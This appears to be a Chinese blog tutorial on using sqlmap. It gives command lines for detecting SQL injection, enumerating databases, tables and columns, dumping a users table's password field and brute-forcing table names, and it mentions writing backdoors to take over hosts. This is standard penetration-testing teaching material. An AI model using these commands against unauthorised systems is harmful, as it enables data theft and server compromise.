sqlmap基础知识

一、sqlmap简介

sqlmap是一个开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接管数据库服务器的过程。

官网:

sqlmap.org

核心功能

  • 漏洞检测
  • 漏洞利用

学习关键点

  • 基于sqlmap进行sql注入漏洞的检测,注入利用和攻击
  • 基于sqlmap进行高权限情况下的文件读写
  • 基于sqlmap进行高权限情况下的联合msf实现远程主机上线

sqlmap支持的数据库类型

MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,
SQLite,Firebird,MySQL,SAP MaxDB,Informix,MariaDB,MemSQL,TiDB,
CockroachDB,HSQLDB,H2,MonetDB,Apache Derby,Amazon Redshift,Vertica,
Mckoi,Presto,Altibase,MimerSQL,CrateDB,Greenplum,Drizzle,Apache Apache
Apache Xerite,Cubrid,InterSystems Cache,IRIS,eXtremeDB,FrontBase,Raima
Database Manager,YugabyteDB,ClickHouse和Virtuoso数据库管理系统。

主要是支持关系型数据库,不支持NoSQL

支持六种SQL注入技术

  1. 基于布尔的盲注
  2. 基于时间的盲注
  3. 基于错误的盲注
  4. 基于UNION查询
  5. 堆栈查询
  6. 带外查询

sqlmap支持数据库直连

  • 通过提供DBMS凭证、IP地址、端口和数据库名称,支持直接连接到数据库,而无需通过SQL注入
  • DBMS:
    • DB database,M:Management,S:System
    • 像mysql、oracle都是数据库管理系统

sqlmap的特性

  • 自动识别密码哈希格式,并支持使用基于字典的攻击来破解他们【暴力破解】

sqlmap的代理功能

  • 通过设置代理,可以实现控制发包评率,防止速度太快被加入黑名单
  • 在代理中可以加载一些脚本,通过脚本可以实现对某个例如预编码,以此来绕过服务端的一些防注入机制,例如绕过敏感字符过滤

二、使用sqlmap的流程

第一步:判断目标网站是否存在漏洞和数据库类型【mysql、oracle、db2....】

第二步:判断用户权限类型【检测是否为高权限用户】

如果为高权限用户,那么不需要再进行数据库猜解,因为可以直接进行读写操作,也就是可以直接写入后门程序,通过程序可以直接获取目标主机的控制权

注意:不是说高权限用户就一定可以进行写操作

第三步:找库名

第四步:找表名

第五步:找字段

第六步:找数据

注意:进行sql注入的核心目的

目的1:获取数据

目的2:获取服务器的控制权

注意:

用sqlmap进行注入的时候,有可能结果是不准确的,例如扫描发现没有漏洞 或者 本来是管理员权限,但是扫描结果提示是普通权限

如果出现这种情况,就需要手动调整注入参数,或者进行手工注入

三、sqlmap的常用参数

3.1 sqlmap对指定目标进行检测

方法1:-u 目url

格式:sqlmap -u "http://www.php001.com/index.php?id=1"

注意:这种方式进行测试的时候,服务端收到的客户端信息 (UA refer ip) 都是客户端自己的

补充:sqlmap -u "网址" 得到的信息包括

结束以后会得到该网站的数据库、操作系统、服务器等版本信息

如果存在漏洞可以使用以下命令注出当前网站下所有的数据库名

sqlmap -u "网址" --dbs                                注出指定数据库下的所有库名
sqlmap -u "网址" -D 数据库名 --tables                  注出指定数据库指定表下所有列信息
sqlmap -u "网址" -D 数据库名 -T 表名 --columns         注出所有指定字段名
sqlmap -u "网址" -D 数据库名 -T 表名 -C 列名 --dump    显示数据

在任意环节使用--dumps,可以将所有数据注出,如指定数据库使用,注出所有数据库下的所有表的所有字段信息

方法2:-r 从文本文件中读取HTTP请求作为sql注入探测的目标

格式:sqlmap -r test.txt(bp导出请求的数据文件)
使用场景:
1. 某些网站的页面必须先登录才能进行测试,那么就必须通过本方法,这是因为在请求数据包当中有当初登录网站时候的cookie\session信息
2. 某些网站限制客户端的来源: 来源域名、来源ip、这种情况下进行注入,也需要通过这种读取数据包的方式进行

指定数据包注入,从文件读取HTTP请求,GET和POST都可以,可以用-p传入注入的参数

sqlmap -r "burp.txt" -p "username"     # -p 指定存在注入的参数

这里的txt文件就是完整的http请求包

可以使用 -p 指定参数,也可以在txt文件中使用*(星号)定位

方法3:-m从多行文本格式文件读取多个目标,对多个目标进行探测

格式:sqlmap -m test.txt(自写的url)

方法4:-l 从Burpsuite proxy或WebScarab proxy中读取http请求日志文件

格式: sqlmap -l test(bp导出文件)

方法5:-x 从sitemap.xml站点地图文件中读取目标探测。

方法6:-C 从配置文件sqlmap.conf中读取目标探测

sqlmap 结合 google 搜索特定url,进行批量扫描注入,这里需要利用google hack语法进行扫描

案例:sqlmap -g "inurl:\.php?id=1\""

sqlmap设置http请求方法

--method=get | post

案例1:基于post方式发送请求
sqlmap -u 'http://www.php001.com/index.php' --data="id=1"

案例2:基于get方式发送请求
sqlmap -u 'http://www.php001.ocm/index.php?id=1'

sqlmap设置cookie头

--cookie

--cookie-del

--load-cookies

--drop-sel-cookie

3.2 注入案例

1. GET 参数注入

sqlmap -u 'http://www.php001.com/index.php?id=1'

2. POST 参数注入

sqlmap -u 'http://www.php001.com/index.php' --data="id=1"

3. cookie 注入(level>=2时才会检测cookie)

sqlmap -u "http://www.php001.com/index.php?id=1" --level 2

4. user-agent注入

sqlmap -u "http://www.php001.com/index.php?id=1" --level 3

5. referer注入

sqlmap -u "http://www.php001.com/index.php?id=1" --level 3

6. host注入

sqlmap -u "http://www.php001.com/index.php?id=1" --level 5

7. 延时注入

当防火墙对请求速度做了限制,在每个HTTP请求之间延迟10秒
sqlmap -u "http://www.php001.com/index.php?id=1" --delay=10

8. 伪静态注入

sqpmap -u http://victim.com/id/666*.html --dbs   # 在html扩展名前加个'*"

3.3 获取数据库信息

1. 查看数据库

sqlmap -u "http://www.php001.com/index.php?id=1" --dbs --batch
参数
--dbs: 显示所有的数据库的库名
--batch: 避免用户交互

2. 查看数据库里面的表

sqlmap -u "http://www.php001.com/index.php?id=1" --D security --tables --batch
参数:
--D security: 指定查看这个 库中的所有表
--tables: 指定显示表名
--batch: 避免用户交互

3. 查看数据库表里面的列/字段

sqlmap -u "http://www.php001.com/index.php?id=1" --D security --T users --columns --batch
参数:
--D security: 指定查看这个 库中的表
--T users: 指定查看user表中的所有的字段名
--columns: 显示表中的字段名
--batch: 避免用户交互

4. 查看数据库列里面的具体的值

sqlmap -u "http://www.php001.com/index.php?id=1" --D security --T users -C password --dump --batch
参数
--D security: 指定查看这个库中的表
--T users: 指定查看user表中的所以的字段名
-C password: 显示 password 字段中的数据
--dump: 显示数据
--batch: 避免用户交互

3.4 暴力破解

使用条件/背景

1. MySQL数据库版本小于5.0,没有information_schema表

2. Microsoft Access数据库

3. 当前用户没有权限读取系统中保存的数据

暴力破解中破解表名的文件位于common-tables.txt 中,同理破解列名的文件位于common-columns.txt 中

1. 暴力破解表名

sqlmap -u "http://www.php001.com/index.php?id=1" -D security --common-tables --batch

2. 暴力破解列名

sqlmap -u "http://www.php001.com/index.php?id=1" -D security -T users --common-columns --batch

相关推荐

  1. sqlmap基础知识

    2024-03-30 14:00:05       17 阅读
  2. sqlmap基础知识(二)

    2024-03-30 14:00:05       13 阅读
  3. sqlmap基础知识(三)

    2024-03-30 14:00:05       19 阅读
  4. <span style='color:red;'>sqlmap</span>

    sqlmap

    2024-03-30 14:00:05      40 阅读
  5. SQLMap介绍

    2024-03-30 14:00:05       27 阅读
  6. Sqlmap使用

    2024-03-30 14:00:05       13 阅读
  7. SpringMVC的基础知识

    2024-03-30 14:00:05       30 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-03-30 14:00:05       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-03-30 14:00:05       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-03-30 14:00:05       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-03-30 14:00:05       20 阅读

热门阅读

  1. Go的数据结构与实现【LinkedList】

    2024-03-30 14:00:05       19 阅读
  2. 手写DNS服务器测速程序(工具分享)

    2024-03-30 14:00:05       22 阅读
  3. test6

    test6

    2024-03-30 14:00:05      22 阅读
  4. 成都某公司笔试题sql

    2024-03-30 14:00:05       19 阅读
  5. 2024年道路运输安全员考试真题题库

    2024-03-30 14:00:05       13 阅读
  6. 怎么在循环List的时候删除List的元素

    2024-03-30 14:00:05       13 阅读